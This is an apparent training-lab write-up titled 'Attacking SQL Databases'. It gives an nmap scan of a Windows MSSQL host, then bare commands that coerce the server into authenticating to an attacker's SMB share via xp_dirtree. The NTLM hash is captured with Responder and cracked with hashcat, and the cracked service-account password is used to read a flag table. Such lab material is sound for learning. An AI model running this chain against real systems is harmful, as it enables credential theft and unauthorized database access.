Attacking SQL Databases

May 22, 2024

# Nmap 7.94 scan initiated Wed May 22 17:59:45 2024 as: nmap -sC -sV -oN nmap -Pn 10.129.239.242
Nmap scan report for 10.129.239.242
Host is up (0.64s latency).
Not shown: 994 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
25/tcp   open  smtp          hMailServer smtpd
| smtp-commands: WIN-02, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
110/tcp  open  pop3          hMailServer pop3d
|_pop3-capabilities: USER TOP UIDL
143/tcp  open  imap          hMailServer imapd
|_imap-capabilities: IMAP4 ACL OK IMAP4rev1 QUOTA IDLE CAPABILITY completed CHILDREN SORT NAMESPACE RIGHTS=texkA0001
587/tcp  open  smtp          hMailServer smtpd
| smtp-commands: WIN-02, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.129.239.242:1433: 
|     Target_Name: WIN-02
|     NetBIOS_Domain_Name: WIN-02
|     NetBIOS_Computer_Name: WIN-02
|     DNS_Domain_Name: WIN-02
|     DNS_Computer_Name: WIN-02
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.129.239.242:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-05-22T09:53:26
|_Not valid after:  2054-05-22T09:53:26
|_ssl-date: 2024-05-22T10:03:05+00:00; +8s from scanner time.
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: WIN-02
|   NetBIOS_Domain_Name: WIN-02
|   NetBIOS_Computer_Name: WIN-02
|   DNS_Domain_Name: WIN-02
|   DNS_Computer_Name: WIN-02
|   Product_Version: 10.0.17763
|_  System_Time: 2024-05-22T10:02:52+00:00
|_ssl-date: 2024-05-22T10:03:05+00:00; +8s from scanner time.
| ssl-cert: Subject: commonName=WIN-02
| Not valid before: 2024-05-21T09:53:20
|_Not valid after:  2024-11-20T09:53:20
Service Info: Host: WIN-02; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7s, deviation: 0s, median: 7s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 22 18:03:28 2024 -- 1 IP address (1 host up) scanned in 222.66 seconds
impacket-mssqlclient -p 1433 htbdbuser@10.129.239.242
EXEC master..xp_dirtree '\\10.10.16.17\share\'
sudo responder -I tun0
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
user - mssqlsvc
pass - princess1
impacket-mssqlclient -p 1433 mssqlsvc@10.129.81.137 -windows-auth

USE flagDB
SELECT table_name FROM flagDB.INFORMATION_SCHEMA.TABLES
SELECT * FROM tb_flag

Last updated